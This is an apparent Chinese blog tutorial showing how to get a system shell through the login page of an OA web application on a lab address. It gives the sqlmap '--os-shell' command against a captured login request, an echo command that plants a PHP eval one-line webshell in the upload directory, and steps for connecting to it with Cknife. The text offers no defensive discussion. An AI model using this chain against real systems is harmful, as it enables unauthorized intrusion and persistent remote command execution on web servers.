通过OA系统登录页面获取OS-shell

1. 使用工具介绍

  1. burpsuite:用来抓取登录页面的数据包
  2. sqlmap:探测sql注入点。–os-shell 大致原理是将脚本插入到数据库中,然后生成相应的代码文件,获取shell即可执行命令
  3. Cknife(同类工具还有冰蝎,蚁剑,哥斯拉):结合一句话木马,获取webshell

2. 思路介绍

  1. 首先抓取登录页面数据包,写入一个txt文档,放入sqlmap目录下
  2. 用sqlmap进行爆破,可以获取os-shell(OSshell是一个能执行系统命令的环境)
  3. 获取OSshell后,在目标系统内写一个木马文件
  4. 用Cknife进行连接,获取webshell

3. 详细步骤

3.1 抓包

  1. 登录页面 http://192.168.179.128:8005/index.php

在这里插入图片描述
2. 抓包

在这里插入图片描述

  1. 复制抓包的内容,保存为txt文件到sqlmap目录下

在这里插入图片描述

3.2 运行sqlmap(重点)

–os-shell 大致原理是将脚本插入到数据库中,然后生成相应的代码文件,获取shell即可执行命令

  1. sqlmap.py -r OAlogin.txt --os-shell

    -r 表示从文件中读取http请求

    1. 选择语言

在这里插入图片描述

  1. 输入绝对路径
    /var/www/html/upload
    

在这里插入图片描述

  1. 写木马文件

    pwd  	//查看当前路径
    
    echo ‘<?php @eval($_POST['a']); ?>’ >> 123.php    //将<?php @eval($_POST['a']); ?>写入123.php
    
    cat 123.php		//打印123.php文件的内容
    

在这里插入图片描述

3.3 Cknife连接

  1. 输入木马文件的 url

在这里插入图片描述

  1. 连接,获取webshell

在这里插入图片描述

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Buffedon

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值